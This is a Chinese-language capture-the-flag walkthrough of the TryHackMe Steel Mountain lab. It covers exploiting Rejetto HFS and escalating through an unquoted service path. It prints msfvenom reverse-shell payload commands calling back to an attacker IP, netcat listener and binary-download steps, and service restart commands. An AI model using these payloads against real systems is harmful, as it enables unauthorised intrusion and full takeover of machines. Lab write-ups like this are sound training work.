THM-Steel Mountain(钢山)

谁是本月最佳员工?

直接访问目标机器,可以看到一个图片,检查得到该图片的名称为Bill Harper

初始访问

使用 nmap 扫描机器。运行 Web 服务器的另一个端口是什么?

看看另一个 Web 服务器。什么文件服务器正在运行?

直接提交HTTP File Server是错误的,网上搜索得到完成名称Rejetto HTTP File Server

利用此文件服务器的CVE编号是多少?
使用msfconsole搜索HFS,并使用info查看该漏洞模块的详细信息,在最后得到该漏洞的CVE编号

使用 Metasploit 获取初始 shell。什么是用户标志?
使用msfconsole利用

特权升级

为了枚举这台机器,我们将使用一个名为 PowerUppowershell 脚本,其目的是评估 Windows 机器并确定任何异常 - “ PowerUp旨在成为 依赖错误配置的常见 Windows 特权升级向量的工具

访问该链接条件到下载页面,注意这里是将该脚本下载到本机,然后上传到目标机器

该脚本基于powershell,所以我们需要使用目标主机的powershell,可以还是用load powershell加载powershell,然后使用powershell_shell进入目标的powershell命令行

运行Powerup.ps1脚本,输入Invoke-AllChecks检查

注意CanRestarttrue选项,可以发现AdvancedSystemCareService9服务具有路径引用服务的问题,并且运行的账户是LocalSystem

CanRestart 选项为True,将允许我们在主机上重启该服务,并且Path路径可以进行配置,我们可以将恶意程序替换合法的程序,重启该服务,该主机会受到我们的攻击

使用 msfvenom生成反向 shell 作为 Windows可执行文件
msfvenom -p windows/shell_reverse_tcp LHOST=10.2.34.252 LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe

注意这里使用shell_reverse_tcp无阶段的payload,不然nc会收不到shell

使用nc -lvp 4443监听

将生成的Advanced.exe上传到C:\Program Files (x86)\IObit\Advanced.exe,该漏洞形成的原因是因为管理员在设置PATH的时候没有使用""双引号对目录进行锁定

然后进入目标shell,重启服务即可获得system权限的shell

注意:这里服务显示为未引用(并且可以使用此技术进行利用),也可以使用弱文件属性直接修改PATH

什么是root标志?

没有 Metasploit 的访问和升级

这次我们使用exploit-db.com提供的CVE利用代码进行利用,在这里

根据查阅该漏洞利用代码,该漏洞利用使用的是nc.exe进行的反弹shell,所以这里我们需要上传一个nc.exe的静态二进制文件

nc二进制静态文件地址:https://github.com/andrew-d/static-binaries/blob/master/binaries/windows/x86/ncat.exe

我们需要运行该漏洞利用程序两次。第一次将我们的 netcat 二进制文件拉到系统中,第二次将执行我们的有效负载以获得回调!

第一次运行会重Web服务器下载nc.exe

第二次运行会反弹给ncshell

然后我们就可以使用powershell -c执行powershel命令,可以将WinPEAS拉入系统

在本机下载并共享winPEAS.bat,然后使用powershell -c下载winPEAS.bat

运行winPEAS.bat可以查找到未引用的服务

然后我们可以执行powershell -c "Get-Service"手动找出服务名称

后面和meterpreter的过程一样,使用msfvenom生成目录,使用sc stop AdvancedSystemCareService9sc start AdvancedSystemCareService9重启服务

生成服务木马语法

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=443 -e x86/shikata_ga_nai -f exe -o Advanced.exe

使用nc监听,得到system权限

posted @ 2023-03-28 11:20  Junglezt  阅读(55)  评论(0编辑  收藏  举报